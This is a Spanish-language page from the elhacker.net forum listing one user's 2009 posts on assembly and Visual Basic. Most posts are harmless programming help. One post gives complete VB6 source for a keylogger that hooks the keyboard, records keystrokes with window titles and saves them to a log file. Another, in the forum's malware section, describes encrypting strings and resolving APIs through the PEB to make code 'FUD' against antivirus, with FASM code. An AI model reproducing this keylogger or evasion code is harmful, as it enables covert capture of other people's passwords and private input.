elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Mensajes
Páginas: 1 ... 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 [44] 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 ... 68
431  Programación / ASM / Re: Te creamos tu función. en: 12 Junio 2009, 14:35 pm
Amerikano la función que pides no seria lo mismo que mi función cInstr
432  Programación / ASM / Re: Te creamos tu función. en: 11 Junio 2009, 23:29 pm
REGLAS DEL FORO ¡LEED TODOS!

B. Se pregunta por conceptos abstractos. Aquí no estamos para hacerle el trabajo a nadie
Estoy ablando de funciones que generalmente uno necesita obviamente si alguien pide una tarea no se la voy a hacer.

Saludos
433  Programación / ASM / Te creamos tu función. en: 11 Junio 2009, 08:38 am
Hola,
Creo este Post para ofrecerme a crear la función que necesites(de manejo de cadenas,etchivos,etc.. ), el formato para pedir una función es el siguiente

  • Sistema operativo
  • Lo que quieras que haga la función.
  • Parametros que le pases a la función


PD: Todo el mundo pùede fabricar alguna función que se pida.
434  Programación / ASM / Re: System("pause"); de C en ASM[DUDA] en: 11 Junio 2009, 07:07 am
Respondo la duda de por que en .com y no  .exe , cuando pones el org 100h el FASM te fabrica un .com , si le pusieras format pe te produciria  un .exe si le pone un format pe dll te produce un .dll .
435  Programación / ASM / Re: Programación en lenguaje ensamblador en: 6 Junio 2009, 07:38 am
Porque no es chincheta?

Saludos!
Por una estupides que yo hice :xD
que fue?

que el que si esta de post it, se me hace mas simple :S
Fue que no me gusto algo que hizo eternal y como cuando uno esta enojado hace estupideces .. borre todos los post.
436  Programación / Programación Visual Basic / Re: código vb escondido en: 3 Junio 2009, 23:19 pm
algo podras sacar pero no cuentes con todo y menos se codifico el code  :o


Con que programa me recomendais para sacarlo?

El codigo de obttenerlo lo obtienes pero lo obtienes en ASM :xD , usa el ollydbg
437  Programación / Programación Visual Basic / Re: Otra duda con registros... en: 2 Junio 2009, 21:35 pm
Algunas api's que puedes utilizar para el manejo de .ini son:
GetPrivateProfileString
WriteProfileString
WritePrivateProfileString
etc..
438  Programación / Programación Visual Basic / Re: Error de restablecimiento de conexion con csocketmaster en: 2 Junio 2009, 21:32 pm
Código
  1. Option Explicit
  2.  
  3. ‘|||||||||||||||||||||||
  4. ‘| |
  5. ‘|Autor: Karcrack |
  6. ‘|Fecha: 24/09/08 |
  7. ‘| |
  8. ‘|||||||||||||||||||||||
  9.  
  10. Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
  11. Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
  12. Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
  13. Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
  14. Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
  15. Private Const WH_KEYBOARD_LL As Long = 13
  16.  
  17. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
  18. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  19.  
  20. Public Type KBDLLHOOKSTRUCT
  21. VkCode As Long
  22. ScanCode As Long
  23. Flags As Long
  24. Time As Long
  25. DwExtraInfo As Long
  26. End Type
  27.  
  28. Dim KBHook As Long
  29. Dim KeyData As String
  30. Dim lHwnd As Long
  31.  
  32. Public Sub ManageKeylogger(ByVal Enable As Boolean)
  33. Select Case Enable
  34. Case True
  35. KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
  36. Case False
  37. Call UnhookWindowsHookEx(KBHook)
  38. End Select
  39. End Sub
  40.  
  41. Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
  42. Dim KeyBoardHook As KBDLLHOOKSTRUCT
  43.  
  44. If nCode = 0 Then
  45. CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
  46. With KeyBoardHook
  47. If .Flags = 0 Or .Flags = 1 Then
  48. If SaveLog(TranslateKey(.VkCode)) > 50 Then
  49. Call LogToFile(App.Path & "\\Log.log")
  50. End If
  51. End If
  52. End With
  53. Else
  54. KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
  55. End If
  56. End Function
  57.  
  58. Private Function TranslateKey(ByVal KeyCode As Long) As String
  59. Dim LngShift As Long
  60.  
  61. ‘Funcion optimizada para su uso en teclados españoles.
  62.  
  63. LngShift = GetAsyncKeyState(vbKeyShift)
  64. If KeyCode >= 58 And KeyCode <= 90 Then
  65. TranslateKey = IIf(LngShift 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
  66. ElseIf KeyCode >= 96 And KeyCode = 112 And KeyCode <= 123 Then
  67. TranslateKey = "{F" & KeyCode - 111 & "}"
  68. Else
  69. If KeyCode = 160 Then TranslateKey = ""
  70. If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
  71. If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
  72. If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
  73. If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
  74. If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
  75. If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
  76. If KeyCode = 27 Then TranslateKey = "{ESC}"
  77. If KeyCode = 46 Then TranslateKey = "{DEL}"
  78. If KeyCode = 36 Then TranslateKey = "{HOME}"
  79. If KeyCode = 35 Then TranslateKey = "{END}"
  80. If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
  81. If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
  82. If KeyCode = 45 Then TranslateKey = "{PASTE}"
  83. If KeyCode = 144 Then TranslateKey = "{NUM}"
  84. If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
  85. If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
  86. If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
  87. If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
  88. If KeyCode = 13 Then TranslateKey = "{ENTER}"
  89. If KeyCode = 8 Then TranslateKey = "{BACK}"
  90. If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
  91. If KeyCode = 9 Then TranslateKey = "{TAB}"
  92. If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
  93. If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
  94. If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
  95. If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
  96. If KeyCode = 164 Then TranslateKey = "{ALT}"
  97. If KeyCode = 165 Then TranslateKey = "{ALTGR}"
  98. If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
  99. If KeyCode = 188 Then TranslateKey = IIf(LngShift 0, ";", ",")
  100. If KeyCode = 190 Then TranslateKey = IIf(LngShift 0, ":", ".")
  101. If KeyCode = 189 Then TranslateKey = IIf(LngShift 0, "_", "-")
  102. If KeyCode = 191 Then TranslateKey = IIf(LngShift 0, "‘", "#")
  103. If KeyCode = 187 Then TranslateKey = IIf(LngShift 0, "*", "+")
  104. If KeyCode = 186 Then TranslateKey = IIf(LngShift 0, "Ü", "ü")
  105. If KeyCode = 192 Then TranslateKey = IIf(LngShift 0, "Ö", "ö")
  106. If KeyCode = 222 Then TranslateKey = IIf(LngShift 0, "Ä", "ä")
  107. If KeyCode = 219 Then TranslateKey = IIf(LngShift 0, "?", "ß")
  108. If KeyCode = 220 Then TranslateKey = IIf(LngShift 0, "°", "^")
  109. If KeyCode = 48 Then TranslateKey = IIf(LngShift 0, "=", "0")
  110. If KeyCode = 49 Then TranslateKey = IIf(LngShift 0, "!", "1")
  111. If KeyCode = 50 Then TranslateKey = IIf(LngShift 0, """", "2")
  112. If KeyCode = 51 Then TranslateKey = IIf(LngShift 0, "§", "3")
  113. If KeyCode = 52 Then TranslateKey = IIf(LngShift 0, "$", "4")
  114. If KeyCode = 53 Then TranslateKey = IIf(LngShift 0, "%", "5")
  115. If KeyCode = 54 Then TranslateKey = IIf(LngShift 0, "&", "6")
  116. If KeyCode = 55 Then TranslateKey = IIf(LngShift 0, "/", "7")
  117. If KeyCode = 56 Then TranslateKey = IIf(LngShift 0, "(", "8")
  118. If KeyCode = 57 Then TranslateKey = IIf(LngShift 0, ")", "9")
  119. If KeyCode = 145 Then TranslateKey = "{ROLL}"
  120. If KeyCode = 44 Then TranslateKey = "{PRINT}"
  121. If KeyCode = 19 Then TranslateKey = "{PAUSE}"
  122. If TranslateKey = "" And KeyCode 160 Then TranslateKey = KeyCode
  123. End If
  124. End Function
  125.  
  126. Public Function SaveLog(ByVal sKey As String) As Double
  127. Dim aHwnd As Long
  128. Dim WinText As String
  129. aHwnd = GetForegroundWindow
  130.  
  131. If aHwnd lHwnd Then
  132. lHwnd = aHwnd
  133. WinText = String$(255, Chr$(0))
  134. Call GetWindowText(aHwnd, WinText, Len(WinText))
  135. WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
  136.  
  137. KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
  138. End If
  139.  
  140. KeyData = KeyData & sKey
  141.  
  142. SaveLog = Len(KeyData)
  143. End Function
  144.  
  145. Public Sub LogToFile(ByVal sPath As String)
  146. Open sPath For Binary As #1
  147. Put #1, , KeyData
  148. Close #1
  149. End Sub
  150.  
439  Programación / Programación Visual Basic / Re: Error de restablecimiento de conexion con csocketmaster en: 2 Junio 2009, 20:27 pm
ordenadoritis jaja, la era de los sms :P

muchas gracias ya me funciona

por cierto nose porque en el cliente cuando lo cierro sigue estando el proceso ;/
Cuando quieras que finalizze ponle un
Código
  1. end
440  Seguridad Informática / Abril negro / Re: Clase EncryptApi (Haz tus códigos indetectables fácilmente) en: 2 Junio 2009, 00:46 am
Es solo la idea para MrScript , sacas el handle de la ADVAPI usas mi función para sacar la posicion de las apisb y encriptas todas las cadenas con alguna macro , teoricamente deberia ser FUD :P .

Un code para sacar el handle

Código
  1. include 'win32ax.inc'
  2.  
  3. .code
  4. start:
  5. stdcall ASCIITOUNICODE,"ADVAPI32.dll",buffer
  6. stdcall GetModuleHW,buffer
  7. invoke GetModuleFileName,eax,buffer,MAX_PATH
  8. invoke MessageBox,0,buffer,0,0
  9. invoke ExitProcess,0
  10. proc GetModuleHW,cName
  11. push ebx edi esi
  12. .if [cName] = 0
  13. mov eax,dword [fs:18h]
  14. mov eax,dword [eax+30h]
  15. mov eax,dword [eax+8h]
  16. jmp .salir
  17. .endif
  18. mov eax,[fs:30h]
  19. mov eax,[eax+0Ch]
  20. mov edi,[eax+10h]
  21. mov esi,dword[edi+30h]
  22. .siguiente:
  23. mov ebx,dword[edi+30h]
  24. invoke lstrcmpW,[cName],ebx
  25. .if eax <> 0
  26. mov edi,[edi+4h]
  27. cmp esi,dword[edi+30h]
  28. jne  .siguiente
  29. jmp .salir
  30. .endif
  31. mov eax,dword[edi+18h]
  32. jmp .salir
  33. .error:
  34. xor eax,eax
  35. .salir:
  36. pop edi ebx
  37. ret
  38. endp
  39. proc ASCIITOUNICODE,Cadena,Buffer
  40. push ecx ebx
  41. mov  eax,[Cadena]
  42. mov ebx,[Buffer]
  43. dec eax
  44. dec ebx
  45. dec ebx
  46. .bucle:
  47. add eax,1
  48. cmp byte[eax],0
  49. je .salir
  50. inc ebx
  51. inc ebx
  52. mov cl,byte[eax]
  53. mov byte[ebx],cl
  54. mov byte[ebx+1],0
  55. jmp .bucle
  56. .salir:
  57. pop ebx ecx
  58. ret
  59. endp
  60. .data
  61. buffer rb MAX_PATH
  62. .end start
  63. section '.reloc' fixups data discardable
  64.  
  65.  
Páginas: 1 ... 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 [44] 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 ... 68
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines